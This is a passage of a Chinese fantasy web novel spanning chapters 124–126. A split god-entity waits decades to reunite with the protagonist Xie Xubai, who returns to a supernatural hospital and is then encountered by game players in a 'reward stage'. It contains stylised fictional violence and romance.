还有整整十八年才能与他相见,它要怎么熬? 第124章 恭迎谢副院长回归…… 金丝眼镜的控诉字字珠玑,仿佛隔着遥远时空的距离,将那些未曾说出口的迷茫和痛苦,一同送入谢叙白的耳朵里。 谢叙白抬起头。无数颗金色气泡在前方上下摆动,连成一片绚丽夺目的光幕。 这些断断续续的片段,来源并不神秘,只是被邪神分身起伏不定的情绪所引动,在历史长河中形成短暂易碎的剪影。 不予理会,抛之脑后,分分钟就会消失。 谢叙白垂了垂眼睫,继续沉默地往前走。他不能在这里停留太久,否则会迷失在无尽的时间里。 或许气泡的主人同样清楚这一点,间接影响到这些气泡的行进路线,它们只是环聚在谢叙白的周遭,并不主动靠近。 一颗气泡将要破碎,表面越来越薄,接近透明。 它忽然出格地追上头也不回的青年,又在离青年还有十几厘米的地方仓促刹停,目视那道削瘦挺拔的背影,等待自己的消失。 却没想到,一根金色的线条从谢叙白的掌心钻出来,将始料未及的气泡捞过去,静静地贴近耳边。 …… 历史按照它原有的轨迹进行。裴玉衡与谢语春的私密对话似乎引起幕后之人的警觉,回到医院没多久,便被规则限制行动,没有正当理由,不能离开医院的范畴。 这辈子的他,没有经历那些挫折痛苦,神识清明,能够在人设的限制下保持自己的思想和理智。 但也因为认知受到干扰,前几世的记忆和今生的记忆混淆在一起,以为自己在谢语春逝世后领养了谢叙白,并且十五岁那年孩子不堪忍受他的严苛教育和行事作风,扭头离家出走。 裴玉衡遍寻不到谢叙白的音讯,由此在无限担忧和自责中封闭内心,终日沉溺在医疗药物研发,致力于解决谢语春那类的心脏衰竭相关病症。 谢叙白离开后的第九年,金丝眼镜再度将自己分裂。 这一次,不是因为没人能与他谈论谢叙白,而是他想分散自己的思维。只要没那么集中地想念那个人,或许它能好受一点。 但很快它发现,自己还是太天真。 四个分身面对面,大眼瞪小眼,打破僵局的第一句话,依旧是那漫长到数不尽的时间。 “还有十五年。” 九年过去了,还剩十五年,连一半都没有捱过去。 所有分身齐齐陷入沉默,终于有一个分身忍不住问。 “为什么,喜欢他?” 或许每一个得不到回应的喜欢都会掺杂阴暗愤懑的情绪,何况是长达九年没有任何回应。 喜欢上谢叙白的第九年,金丝眼镜终于反应过来,比起等待谢叙白,它实际和谢叙白相处的时间并不长,对青年的喜欢简直毫无道理。 追根溯源,似乎从被本体宴朔撕扯下来的那一刻起,爱上那名年轻的人类就成了它刻在骨子里的烙印。 但这理该是本体的喜欢,而不是它的喜欢,到头来却要让它来为这份喜欢买单,这不公平。 一瞬间,金丝眼镜宛如醍醐灌顶,浑身直感到觉醒般的酣畅淋漓——是啊,它根本就没有那么喜欢谢叙白! “不要再去想那个人类。” “找点别的事情做。” “同意。” “同意。” 四名分身同仇敌忾,义愤填膺,留下一名分身监管医院的情况和裴玉衡的安危,剩下三名分身分头行动,寻找生命的真正意义。 它们同时出发,离开医院,最后同一时间来到小叙白所在的福利院,面面相觑。 “……” 福利院有第一医院的资助,设施崭新,资金充足,招聘来的员工富有同情心,不会苛待小孩,小叙白在这里度过了一段相对平稳安定的时光。 诸多被遗弃的孤儿中,他在最勤奋的那一档,想着要出人头地,让遗弃他的父亲后悔,天不亮就从床上爬起来读书。这个时间段,教室的门还没开,小叙白便抱着书本来到不会打扰别人的走廊,拿出院长阿姨送他的无线小台灯,再打开课本默默地读。 他读书时安安静静,不吵不闹,蜷在靠墙的等候椅上,像个精致沉默的瓷娃娃。 三名分身的视线锁定在小孩的身上,少顷,再次忍不住发出疑问。 “他是不是在临走前给我们下达了精神暗示?” “没有。” “那他在我们身上套了锁链?” “没有。” “那我们为什么要留在这里?” “……” 这是一个好问题。 小叙白在福利院的生活轨迹几乎三点一线,食堂、教室和宿舍。就算后续他会经历坎坷,颠沛流离,饱受人情冷暖,那也是几年之后的事情,留在这里毫无意义。 三名分身这样想着,却猫着身子,静静地在走廊窗外的树梢上蹲守了一个清晨。 它们不知道自己在看什么,阳光透过树叶缝隙留下斑驳光圈,映入三双琥珀般的血色瞳孔,无声地、沉迷地,追随着小孩的一举一动。 直至朝阳高升,留在医院的分身催促它们赶快回去——凭它只剩四分之一的力量很难镇得住场,它们才慢吞吞地离去。 这一次离开,金丝眼镜不仅没能找到不喜欢谢叙白的证据,反而在这个问题上越陷越深。 大概这世上所有追寻答案的生灵行迹都是一致的,越是找不到,就越要执着地去寻找,越是无法得解,烙印就越发刻骨,等反应过来的时候,睁眼闭眼都是那一道清瘦含笑的身影,无法磨灭。 谢叙白有预料到它们的遭遇吗? 谢叙白会知道他让它们变得愈发奇怪了吗? 谢叙白究竟还有多长时间会来? 数不清第多少次,金丝眼镜再度分裂。蒙面人密密匝匝地聚集在一起,想要再度提起它们心仪的那个人名,却齐刷刷地恍惚了一下。 “那个人……是谁?” 感受到脑海中关于谢叙白的印象陡然缺失,所有分身当场惊惧。 它们瞬间反应过来,分裂的它们,被分散的不止是记忆和负面情绪,还有智力和思维! 它们本就时刻承受着规则的打压,再这样下去,恐怕连和谢叙白仅剩的回忆都保不住! 最初的本体慌张将手伸向一侧的分身,想要将其吞噬,来保全自己的理智。 却听“锵”的一声重响,手掌传来剧痛。它心惊之下飞快躲避,刀锋划破皮肤,留下鲜红见骨的伤口。 再抬头,只见那名分身横刀在前,眼里是和它如出一辙的凶戾。 不止是它,所有分身几乎都弹出利爪,展露出战斗姿态,杀意四溅地看着自己的同伴。空气中掺杂着浓郁的火药味,一触即发。 它们共享思维,对上眼的一瞬间,仿佛能听到相互之间冷漠的诘问。 ——凭什么是你留下来? ——不止一人等待这么长时间,不止一人期待着和他的相见,凭什么是你吞噬我? 这一天,几十个分身大打出手,几乎杀红了眼。 这场冲突更像是苦守十多年的宣泄,所有压抑在骨子里的疯狂和痛苦彻底爆发,它们不再将分身视作同伴,利爪挥出,招招致命,恨不得啖其血肉。 战斗的威压扫荡出去,震碎砖瓦墙壁,巨大的阵仗波及整个医院,闹得血雨腥风。 院长裴玉衡匆匆赶来,看着惨不忍睹的现场,大惊失色,严肃喝令它们停手。 然而在规则的制约下,一名分身仍旧顶着裴玉衡的命令,硬生生将另一名分身撕咬下一块肉。放眼望去,满地都是碎肉残肢。 各分院员工脸色惨白,连连后退,再度认识到防卫科的恐怖之处。 金丝眼镜第一次濒临失控,周围三栋医院大楼遭到严重损坏,伤者高达数百名。“疯狗”之名彻底传开,人人将防卫科视为洪水猛兽。 在医院众人激情的声讨和指责下,也为了所有人的安全考虑,裴玉衡不得不严令所有防卫科成员留守重症监察中心,没有调令安排,不得擅自外出。 这场厮杀中幸存下来的防卫科成员,起先秉持着井水不犯河水的理念互不干涉,到最后也没能忍住重新聚集在一起。 只因医院建立初期的老人几乎都被裴玉衡找理由派遣了出去,还记得青年样貌经历的人如今所剩无几。 就这样,又是几年过去。 一个平平无奇的夜晚,它们照常在监察区域内巡逻,动作散漫,百无聊赖,思维和记忆分得很散,不怎么集中,也是过上好半会儿后,才听到门口传来的动静。 两道脚步声,一老一青年。老人说话絮絮叨叨,年轻的耐心听完后才低声回应,嗓音温雅柔和,似春风拂面而来。 霎时之间,所有分散的思维像麻绳一样凝结在一起!分身们不约而同地站定,数不清的眼睛直勾勾地盯过去,大脑一片空白。 更有甚者,控制不住闪现到青年的身后,喉中发出激动的喘息,将脑袋凑过去轻嗅。 时间过去整整二十四年,岁月轮转,白驹过隙,八千多次朝阳升起,八千多次夕阳坠落。战火后疮痍的土地再修新楼,第一医院几经扩建,荒芜人烟的街道重回喧嚣。 在此之前的日日夜夜,分身不知多少次幻想和青年重逢的场景。 它要对着青年的脖颈狠狠地咬下去,咬碎颈骨,撕扯皮肉,一口不嚼地吞咽,让青年的鲜血灌满喉咙,融入自己的骨血,融入四肢百骸。 它要听到青年痛苦的惨叫,要听到青年哭着发出嘶哑的求饶,向它发誓再也不敢丢下自己。 分身怀着满腔愤恨耸动鼻尖,于潮湿冰凉的空气里,于苍白月光的普照下,终于在青年的身上嗅到了那股朝思暮想的气息。 是他的气息。 分身怔愣着,忽然两眼一热,酸涩汹涌的滋味蔓延至舌根,在胸腔横冲直撞。 那些经年扎根的不忿怀疑,那些挥之不去的茫然痛苦,只需半秒,便忘了个干净。 —— 第一医院上空维持着谢叙白步入时空隧道前的骇人景象,惨白电光似游龙在漆黑厚重的云层中穿梭,轰的一声,爆出震耳欲聋的雷鸣。 不少医护人员感受到重症监察区传来的威压,纷纷大惊失色。尖锐警报拉响,救护车红灯频闪,后勤安保人员用最快的速度赶到各分院,组织人员撤离。 “李主任因不明原因昏迷,快把他送到二分院!” “四楼五楼都是重病患者,行动不便,需要抢先进行转移!” “院长呢?办公室里没人,电话打不通,有没有谁看见院长?!” 同一时间,地下基地,裴玉衡分出大半的力量协助谢叙白对抗【规则】,终是体力不支,踉跄摔倒。 咔! 傅倧左臂用力一扯,润白色锁链应声而碎。 他阴毒地看向裴玉衡,伸手掐住下巴,迫使裴玉衡抬头仰望他:“亲爱的堂弟,我还没死呢,就这么堂而皇之地当着我的面走神,是不是太不把我放在眼里了,啊?” 裴玉衡急喘两口气,唰一下抬眸,精神力一掠而出,闪电般斩断傅倧的指骨。 傅倧瞳孔骤缩,发出凄厉的惨叫,裴玉衡趁机挣脱束缚,弯腰去拿掉落在地的指骨,眼里迸出一抹视死如归的决绝。 千钧一发之际,半空中倏然裂开一个偌大的窟窿。 谢叙白从中现身,稳稳落地,冰冷的目光睨向傅倧狞笑猖狂的嘴脸,两道金光同时从他的掌中飞射出去。 一道化作坚硬冰冷的锁链,噗呲穿透傅倧的两边肩膀,将他死死地钉在墙上。 一道钳住裴玉衡的手腕,在最后关头,制止他将指骨塞进嘴里。 谢叙白掰开裴玉衡的手,拿出紧攥的指骨,无奈地晃一晃,说:“不是说了,别吃这种脏东西。” 说着,他手掌一握,沾血的指骨在金光中化为灰烬。 傅倧并没有和脱体的血肉失去联系,指节被暴力摧毁的一瞬间,他再度发出痛苦的嘶吼:“啊啊啊啊啊!你们这两个杂——” 骂语没来得及全部出口,下一秒汹涌强大的威压排山倒海般压下。 傅倧受到大力冲击,隐约听见骨骼被震碎时噼里啪啦的响动,五脏六腑几乎倒位,瞬间脸色惨白,张着嘴巴哆嗦半天,竟是连惨叫都发不出来了! 裴玉衡怔然地看向谢叙白,难掩惊叹。 这时候的他,依然处于金丝眼镜和规则的双重影响下。 在他看来,谢叙白前后消失不过十秒,再出现时却是眼神凌厉,不怒自威,像懵懵懂懂的幼儿一夜之间长成大人,整个人的气势发生了翻天覆地的转变,简直不可思议。 “发生了什么?”担心谢叙白遇到一些不好的遭遇,裴玉衡忍不住问。 谢叙白回看裴玉衡,静默地凝视,没有吭声。 深邃的眉眼轮廓,卓尔不凡的五官,坚毅不屈的神色。二十多年的岁月几乎没有在这个中年男人的面相上留下太多痕迹,还是那般风光霁月。 只是记忆中踽踽独行、忍辱负重的惨痛经历,又在压制傅倧的过程中耗费大量气力,致使他脸色惨白,看上去有几分憔悴。 医院上空雷鸣息声,裴玉衡能感受到【医院规则】突然的安分守己。 虽然不清楚具体发生了什么,但看谢叙白平静的神色,他猜测是青年出手,短暂压制住了规则。 宛若压肩膀上的千斤重担陡然减轻,裴玉衡终于能放松紧绷的神经,偷来片刻的如释重负。 但危机尚未解除,还不到彻底放松的时候。 裴玉衡记得谢叙白消失前喊了自己一声裴叔叔,只是一声亲昵的问候,便把他叫得恍惚。 但此情此景,显然不是一个能停下来叙旧唠家常的好时机。 裴玉衡短促地换上一口气,勉力吞咽下和谢叙白相认的强烈冲动,伸手在人的眼前一晃:“谢主任?还能不能听见我说话?” 他自然调侃:“我年纪大了,腿脚不好,可别指望我把你背出去。你坚强点,要晕也等出去再晕,到时候我让李安民给你换个VIP至尊单人病房,早饭免费送到房,费用报销,双倍隔音。” 谢叙白回神,反应过来裴玉衡的记忆尚未恢复,并且还在佯装不认识他。 他飞快地眨了下眼睛,一脸心碎状:“我为院长鞠躬尽瘁,院长居然这么吝啬,只是帮忙安排一个病房?” 裴玉衡不曾想,入职后一贯和他保持距离的谢叙白,还会顺势接住话头反过来揶揄他。 可他心里竟然是轻松的,高兴的,只因谢叙白没有记恨他当年的做法,没有嫌弃他这副丑陋狼狈的姿态,依旧乐意与他亲近。 结果一晃神的时间,可不得了,谢叙白两步闪现到他的身后,两只手臂就这么毫无规矩地环上他的肩膀:“而且哪有人五十岁出头就说自己年纪大了?我看院长说话中气十足,身子骨健朗,背我一个必定轻轻松松。” 青年勾着他脖子,没有保留地压下来,不是作势让他背又能是什么? 裴玉衡瞬间惊呆了,无措地弯身兜住青年压下来的身体。一时间脑子嗡嗡直响,不知道是该痛斥对方没有规矩还是蹬鼻子上脸。 结果话在嘴边转了一圈,脱口却是不痛不痒的轻斥:“……谢主任你干什么?……小心点,别摔了!别胡闹了,快点下去!” 裴玉衡体力不支,身上带伤,谢叙白自然舍不得将所有重量压下去,真让人背着他走。 看着古板严肃的中年人罕见地露出慌张的模样,紧绷的嘴角放松,手足无措地应对自己毫无征兆的亲近,谢叙白坏心再起,拖长音调:“真不让背吗,裴叔叔?” 裴玉衡浑身一震。 他终于能肯定,谢叙白消失前喊出的那一声裴叔叔不是自己的幻听。 还没消化掉这声亲昵的称呼,下一秒,谢叙白张口又带上了撒娇的腔调:“那喊爸爸愿不愿意背?爸——” 如果说前面那声裴叔,是夜莺在裴玉衡的耳边唱出悦耳灵动的小曲,那么这一声爸,就如同百万雄师在他的心口列阵擂鼓,那叫一个惊天动地,震耳不绝。 “……你刚才叫我什么?”裴玉衡连钉在墙上的傅倧都顾不上了,颤抖着手,去拽背上作怪的青年,“小兔崽子,你最好别是在和我开玩笑……刚才,你叫了我什么?” 他语速极快,一副发火要收拾人的口吻,谢叙白心道这一次作弄可刺激大发了,急忙收敛找补,下一秒却被裴玉衡用力地按进怀里。 中年男人没有说话,却胜似有声,宽掌按在他的背上,胸口起伏不定,手臂因用力而发抖,再也克制不住,一寸寸地将人搂紧。 像是历经千辛万苦,终于找回失而复得的珍宝。 几分钟后,谢叙白搭乘电梯走出地下基地,来到地面。 不远处,急救车的红灯频闪不断,大楼灯光全部打开,亮如白昼,安保部门全部出动,人群呼叫救援的高呼声此起彼伏。 那边阵仗翻天,愈发衬托出监察区死一般沉寂。 几乎在谢叙白走出来的一瞬间,十几二十颗静默的头颅齐刷刷抬起,猩红血瞳犹如豺狼看到猎物般盯紧他,肃杀紧张的场面叫人心惊胆战。 谢叙白和他们对视,心跳在寂静的夜色下加快,随即深吸一口气,掐住指尖,走向眼前的防卫科成员。 刚一抬腿,一阵漆黑的飓风掠过,嘭一声将谢叙白按在墙上,猩红血瞳居高临下地审视着他:“骗子。” 这么近的距离,谢叙白几乎被对方身上猛兽般凶戾的气息覆盖,别过脸轻轻哼笑一声:“……我骗你什么了?” 男人眸色阴郁,正要回答,谢叙白蓦然抬起手,指尖勾着蒙在男人脸上的面罩,一点点地下拉,挺身径直吻了上去。 一瞬间,男人的呼吸静止,又在下一秒凌乱。 唇齿气息纠缠交融,丝丝缕缕的香气在鼻前弥漫,他脑海仿佛轰的一下炸响,一切喧闹潮汐般消退,全世界只剩下谢叙白笨拙亲吻他的模样。 嘭! 谢叙白后背一痛,男人再次把他按在了墙上,没有多余的废话,直接凶狠地吻了下来。 和他的生疏不同,男人对掠夺的熟稔几乎与生俱来,谢叙白的嘴唇被迫打开,在强势的吮吸下无法闭合。 他急喘,竭力汲取空气中的氧气,维持着岌岌可危的镇定和淡然,却不知道男人在什么地方按了一下,仿佛一道激烈的电流打入脑神经,谢叙白大脑一空,差点瘫软在地。 “我们得尽快找到院长!”“院长最后一次出现在什么地方?”“急诊部全体成员已经撤离!”…… 远处,救援声不停,似乎要往这个方向赶来。谢叙白双目一睁,下意识挣扎,却被男人紧紧地按住手脚,吻得更加用力。 “等等……防卫科的那群疯狗在前面!” “院长应该不在这,走走走,快走!” 很快,谢叙白就什么声音也听不见了。 喘息愈发紊乱沉重,意乱情迷的吮吸在耳畔作响,一切的瞻前顾后、谨小慎微,通通在这一刻被冲得支零破碎。 层层雷云下,大风呼啸,拂过青年被钳住手腕压在头顶的手掌,五指修长,骨节分明,从绷紧到微微放松地屈起。 身后数名防卫科成员垫着脚尖翘首以盼,却始终等不到谢叙白的视线转移,其中一人再也等待不了,突然化为漆黑的影子,急不可耐地与亲吻青年的男人融为一体,紧接着是第二人、第三人…… 不需要重现当年的厮杀,所有力量自愿汇集,化作无形的气浪冲向医院上空,蛮横地击碎雷云,引起巨大冲击,呈放射性朝外荡开,一举砸开二十多年来一直笼罩在众人心头的迷障! 命运齿轮咔嚓转动,历史洪流奔腾不息。一切错乱的因果轮回终于在这一刻回归正轨。 位于地下基地的裴玉衡艰难地调整好情绪,起身匆匆朝外走,忽然脚步一顿。 他记起了二十多年前的风风雨雨,记起了和谢叙白最后的道别,猝然心神俱震,身上属于食尸鬼的青紫色痕迹,随着愈发清晰的记忆逐渐退散。 全数前往附属第二医院的救护车上,躺在病床上的李医生手指一弹,缓缓睁眼。 空地上集合撤退的众人被冲击扫荡全身,捂着脑袋,混沌意识倏然清明,如梦初醒般张望周遭:“……” 【医院规则】幡然醒悟,高空之上,被打散的雷云重新凝聚,粗长雷霆轰然劈开夜幕。 无数人哗然震撼抬头,听到雷鸣阵阵咆哮不绝,电光交错犹如烟花绽放,仿佛在迫不及待地向世人欢欣宣告—— 【恭迎谢副院长回归!】 第125章 裴余?为什么你会在这…… 有了前两场试炼通关之后玩家没有立刻弹出副本的先例,这一次面对陡然变化的场景,众多玩家也能做到泰然处之。 然而他们的泰然淡定只坚持了一秒。 【叮!恭喜该场次的所有玩家触发隐藏关卡《第一医院》。】 【该关卡为奖励关卡,内含丰富的特级珍奇道具和大量奖励积分,关卡进行过程中副本危险度降至C级,玩家不会轻易死亡,是否参加?】 玩家集体炸裂,双眼激动到发红,手指飞一般狂点参加按钮,快出残影。 “那还用说!参加参加参加啊啊啊啊!” 看见特级珍奇道具的字眼时玩家就已经走不动道了,更别提后面还接了个“危险降至C级”,天地良心!要知道这年头B级试炼都不够格进入黑市大佬们的代练名单,C级难度是什么白给的福利? 眼前白光闪过,场景再次变化。 玩家带着激动的心情睁眼,首先映入眼帘的是一栋宏伟壮观的现代化大楼。后有金属大门挡在面前,旁边的石碑牌匾上,遒劲有力地刻写出“H市第一人民医院”的行楷字样。 穿着蓝白制服的医护人员快步向前,胳膊下夹带着办公用的笔记本,看人流前往的方向,似乎直指不远处的医疗行政大楼。 玩家们交流眼神,虽然只有C级难度,但谁知道系统会在哪里设坑,他们没有失去谨慎,小心地观察周围,忽然,其中一人被身侧匆匆路过的护士拍肩。 她皱眉提醒:“你们在这里愣着干什么?各科院系举办的交流学习马上就要开始了,还不快进去!” 交流学习会? 这时已经有玩家低头发现,自己正穿着医院的实习制服,胸口的标牌也写着【实习医生/护士】。后面的名字一栏为空白,可自行选择是否展露昵称或真名。 如果是一般副本,那肯定二话不说就把他们的姓名展露出来,若是不巧碰上仇敌,一场拼杀在所难免。 游戏向来乐于见到玩家内讧搞窝里斗,这一次居然好心地帮他们隐瞒身份,即使是部分心怀警惕的玩家,也不由得对所谓的“奖励关卡”产生了几分信服。 通过搜索口袋内的身份证明,询问医护NPC,没有花费多长时间,玩家就推测出他们是其他医院派来的交流生,其中有一小部分玩家是本院新接收的实习生。 “重点在其他医院和新招收,说明除了带队老师,这家医院里几乎没人认识我们。” “也就是说,咱们不用再遵循那些苛刻变态的设定了?!” “难度真的下降了!” “你们别高兴得太早,就算难度有所降低,这里可是S级副本,稍微强大点的精英怪一巴掌就可以送我们上天。” “顺便一提,我刚才鉴定过,那名好心提醒我们的医护NPC等级有A。” “……”大片玩家倒吸一口凉气,肃然目送风风火火远去的那道白色身影。 有人提出疑惑:“道理我都懂,问题是我们为什么会进入这家医院?我横看竖看,没看见这个地方和我们之前经历的副本内容有一星半点的关联。” 玩家在二十多年前进攻傅氏集团的战场上通关,闭眼前脑海中的最后一幕也随之定格。 那时的第一医院,只是杂乱搭建起来的幸存者基地,并且在疯子和傅倧的战斗中毁坏殆尽,变成一片火光弥漫的残破废墟。 别说他们了,就算当时的基地元老站在这,纵观眼前漂亮雄伟的第一医院,恐怕也不敢将这里和破破烂烂的幸存者基地联系在一起。 所幸经过第一轮的生杀筛选,这些幸存下来的玩家都不是一无所知的新人,简单商议后便自行分头行动。 也有不少玩家站在原地没走,将视线放在角落一名戴着扑克牌耳钉的年轻人身上,偷偷观察他接下来的动作。 魔术师不是没有注意到那些自以为隐秘的目光。 对那些拿不定主意又没有经验的低级玩家来说,跟在大佬的身后,有极大概率能够避免踩中陷阱。 都是从新人过来的,只要别犯蠢阻碍他通关副本拿奖励,他无所谓。 眼下,魔术师更关心一件事,那就是他扫遍在场玩家,没有找到和裴余相似的身影。 迄今为止玩家群体通关那么多场副本,这还是有明确记录以来,第一次出现大规模奖励关卡,并且还是S级!就连他也没忍住按下参与按钮,没道理裴余会拒绝递到嘴边的馅饼。 难道说裴余使用了隐藏自己的道具?可他使用的寻踪道具没有任何反应。 要么裴余提供给他的身份信息是假的,要么对方使用的道具高自己一级。 不管是哪一种可能,没有在奖励关卡开启后第一时间和碰面,就代表裴余没有和他再会的心思。 说不在意,那是骗人的。 魔术师不死心地张望四周,在场只剩那些等待带飞的玩家眼巴巴地看着他,而他心心念念的那个人,连半个影子都没出现。 终于,魔术师对青年无意和自己结交的事实认命。 作为名声在外的战力榜第五,他有自尊,让他当着众人的面上赶着去贴裴余的冷屁股,他也拉不下这个脸。 魔术师皱起眉头,油然生出一股被抛弃的不忿,咂舌暗骂:“这个混蛋,好歹也当过一场副本的患难兄弟,居然连见一面都不肯……” 队友勉强听清楚他的嘀咕,恍惚以为自己出现了幻听,向来心高气傲的魔术师什么时候这样哀怨过? 眼见魔术师脸上的黑气越来越浓郁,他小心询问:“小魔术师,我们接下来去哪?” 此时摆在他们面前的有两条路,其一寻找并前往护士提到的学术交流会,其二在原地等待他们医院的带队老师。 魔术师回神,哪条路都没选,随手丢出几个傀儡代替他们去交流会,转头领着队友绕医院一圈四下探索。 系统提示中强调该关卡内有大量积分道具,就是在暗示他们积极触发支线剧情。越是这种情况,越要放开手脚,墨守成规地顺着提示去完成任务,反而容易丧失获取奖励的机会。 果不其然,没多久他们在行政大楼背后发现一辆正在卸货的大货车,运货工人来来往往,路边堆着不少崭新未拆封的办公物件。 魔术师在帮忙送货的人群中,眼尖地发现几名穿白大褂的医护人员,带着微笑快步走上去,一脸热心肠地说道:“不好意思来晚了!老师说这边人手不足,让我们过来搭把手,把这些东西搬上去就行了吗?” 搭把手?工人抬头抽了一眼魔术师的工牌,不疑有他,冲着旁边的柜子抬了抬下巴:“对,你们几个把它搬上去就行。” “搬去几楼啊?” “副院长办公室,还能是几楼?”工人叮嘱,“手脚轻一点,小心把玻璃给撞碎咯,反倒在你们领导面前留下个坏印象。你们要是弄坏了东西,被追责赔钱可是我们!” 魔术师瞬间听明白里面的弯弯绕绕,似乎另外几名医护人员都是为了在副院长那里露面,才殷切地跑过来帮忙。摆件都是崭新的,大概率说明那位副院长刚晋升不久…… 好巧不巧,学术交流会就开在行政大楼的一楼会议室,会议还没开始,魔术师的替身傀儡有意无意地游走在人群中,从本部NPC口中听到不少八卦。 “谁能想到傅院长竟然就是裴院长!当初研发出疫苗并将其大力推广,为患者争取到超低药价的人也是裴院长!” “裴院长为我们奉献牺牲这么多,我竟然把他错当成傅倧那个小人,我是眼瞎了吗?” “我之前还当众诋毁过裴院长……他能在那么艰险的情况下,顶住傅氏集团的打压,保住几千人的性命,这要是无能,那我算什么,废物吗?” “总之天网恢恢疏而不漏,如今总算真相大白。” “不止是裴院长啊,还有刚回来的谢副院长。听说和我们的岁数差不多大,年纪轻轻就能在H市商业委员会里混得风生水起,前期物资紧缺全靠他拉来资金赞助!” “啊?不可能吧?谢副院长今年不是才二十多岁吗,这样算下来,二十多年前他还没出生呢!” “我也觉得不可思议,难道谢副院长实际已经四十多岁了?” …… 电梯门打开,魔术师和队友笑着借道进入,里面还站着一名医护人员,脚下放着盆葱葱郁郁的盆栽。 由于刚好挤得下,医护人员瞥了他们一眼,没有多说什么。 电梯门关闭,屏幕显示他们正在前往六楼。 魔术师记下楼层数,趁机在脑子里提炼整合八卦中的信息,尽管有些不可思议,但他还是从“傅”“裴”两个姓氏,直接推到裴玉衡和傅倧两人。 毕竟是衍生出来的奖励关卡,总要和副本内容挂钩。 那么,他们现在是跳跃到了二十多年后的时间线? 魔术师眉头一挑,猛然发现“奖励关卡”中隐藏的最大奖励——要知道当初他们可是为裴玉衡对抗傅氏集团倾情献出过一份力,如今裴玉衡顺利上位,他们大可以表明身份,直接讨要功劳。 这时,机械性的女声在电梯内响起。 “叮,六楼到了。” 一想到有望获取特级道具,魔术师就浑身舒畅,电梯门再度打开,一道清瘦笔挺的身影出现在面前,他单手扶住立柜:“让一让,让一让啊!” 紧跟着,他看见队友突然抬手指向来人,仿佛极度震惊一般,猛然瞪大双眼。 魔术师内心狐疑,飞快地瞥过去,看见那张意想不到的俊脸时,差一点表情失控。 “裴余?你为什么会出现在这里?” 更让他意想不到的是,在他脱口叫出对方的名字之后,旁边略显冷淡的医护人员跟着脸色一变,恭敬的神色充满惊喜,看向来人:“谢副院长!您这是要去参加下面的交流会吗?” 第126章 惊艳 电梯内外总共就四个人,这声谢副院长叫的是谁不言而喻。 刹那间魔术师瞳孔地震,好悬再一次喊出声。 从来没有玩家在副本里当职的先例,何况还是这么举足轻重的职位! 魔术师咬牙切齿地反应过来,这混蛋一开始就没说真话。他也是脑子长包,居然傻乎乎地信了那些忽悠人的说辞。 如今他敢肯定,裴余绝对是NPC,而且还是和谢叙白同一档的特殊……等会儿? 那人喊的不是裴副院长,是谢副院长。 ——姓谢? 脑海中划过一个不可思议的猜测,魔术师直勾勾地盯着谢叙白,如遭晴天霹雳! 和惊疑不定的魔术师两人相比,谢叙白的反应要淡定得多,似乎并不意外他俩的到来,微微一笑:“没想到你们会先过来,正好,省得我再去找人。” 说完,他转向一旁的医护人员,温声说道:“谢谢你帮我搬东西,杨医生是吗?” 被谢叙白看向胸牌上的名字,医护人员顿时脸上潮红,腰板都挺直了三分。 谢叙白笑道:“我这边要招待一下朋友,麻烦你帮我给院长说一声,我过会儿再下去,让他们不用担心。” 杨医生忙不迭地应声。 电梯关闭前,他透过缝隙朝魔术师两人瞥了一眼,那眼神里的歆羡和丝丝敌意看得魔术师有些胃疼,似是玩笑般开了腔:“没看出来啊,你们医院还热衷于搞个人崇拜。” 谢叙白莞尔:“当然不,难道说你的粉丝是因为所谓的崇拜才与你性命相托,不畏生死?” 队友在旁边满脑子雾水,魔术师一顿,还没来得及回话,就看见谢叙白用精神力托起立柜和盆栽朝前走去,皱着眉头在原地犹豫两秒,也跟了上去。 没几步路,他们来到副院长办公室,紧挨在院长办公室的右手边。 自谢叙白“消失”后,裴玉衡便将这个房间封存,平时除了清洁工外,禁止其他人进入。 后面遇到医院扩建,又让工人仔细翻修过一遍,墙壁雪白,地板锃亮,装潢简洁明了,看着和新的一样。 谢叙白顺手沏茶:“随便坐。” 魔术师停在门口,视线跟着那一双洁白修长的手,沏茶的动作如行云流水般赏心悦目。 如果不是见过谢叙白大尾巴狼的模样,他还真会被这一副儒雅无害的模样迷惑住。 见魔术师站在原地不动,谢叙白也顺势停了手,两人视线一碰。 魔术师表面不动声色,实则腰背肌肉微微紧绷,不可避免地警惕起来。 当初疯子和傅倧一战,谢叙白借机吸收信仰之力,金光普照,圣洁动人,他在幻象中看见久违的故人,骤然心神震颤,一度将谢叙白误以为真正的神。 直到事后,魔术师才猛然惊醒。 塑型、造势、宣发……这一系列举动和娱乐圈大力造星有什么区别? 他自己就是干这一行的,非常清楚粉丝一旦被蒙蔽思想,陷入一股脑的狂热,会变得多么疯狂。 而谢叙白在大部分玩家心里的地位,明显已经到了,不,应该说远远高出了正常程度! ——那么作为一个NPC,谢叙白获取玩家的信仰到底想要干什么? 他今后是否会站在玩家的对立面,利用玩家的信服崇敬带来灭顶之灾? 又或者只是上位者无所事事,一时兴起和他们来了一场消磨时间的游戏? 无限游戏就是一场十死无生的陷阱,所有看似无害纯良的羔羊背后都藏着一张血盆大口,哪怕谢叙白表现得再友善,都改变不了这个事实。 魔术师毫不怀疑,现在的谢叙白绝对有颠覆一整个玩家群体的影响力和实力,这样的人如果成为他们的敌人,那么后果将不堪设想! 室内陷入死一般沉寂。 队友觉察到气氛紧张,心里打鼓,不敢吭声。 谢叙白的目光还是那样平静,宛如一面照见阴影的明镜,直看得魔术师呼吸一滞,后背冷汗直冒。 也是这个时候,谢叙白终于慢条斯理地开了口:“说实话,刚才有那么一瞬间我还在怀疑,你会不会是那名特殊NPC谢叙白伪装的……” 这话说得没头没尾,魔术师一愣。 他的记忆力算不上差,没几秒,当初和谢叙白初遇时,自己那番讨好献殷勤的话模模糊糊地在耳边响起。 【……现在看来,哪儿能啊?你可比那个所谓的谢叙白厉害多了!别人都说他之前不出手是扮猪吃老虎,但我看得出来他根本没有制服诡王的实力,面对一个严岳都需要委曲求全……】 嘶!这不就是当着正主的面蛐蛐人,马屁拍到马腿上去了吗! 魔术师表情一僵,看着好以整暇的谢叙白,瞬间尴尬得想找条地缝钻进去,摸着鼻子问:“不至于这么小心眼吧?” 谢叙白意味不明地轻笑一声,将茶递过去,一脸心平气和:“你猜?” 看着面前冒热气的茶水,魔术师寒毛直竖,在会不会被毒死的猜想中挣扎半天,最后咬牙心一横,接过茶一饮而尽。 入口却是清甜沁香,回味悠长。 魔术师盯着青花瓷茶杯,再次怔住。 队友也犹犹豫豫地接过谢叙白递过去的茶喝了,惊喜得无以复加:“精神力永久性增加5点!我的天!!” 无限游戏进行到现在,当然不会缺少增益道具和技能,但永久提升玩家数值的珍稀道具,即使在黑市里也是有价无市! 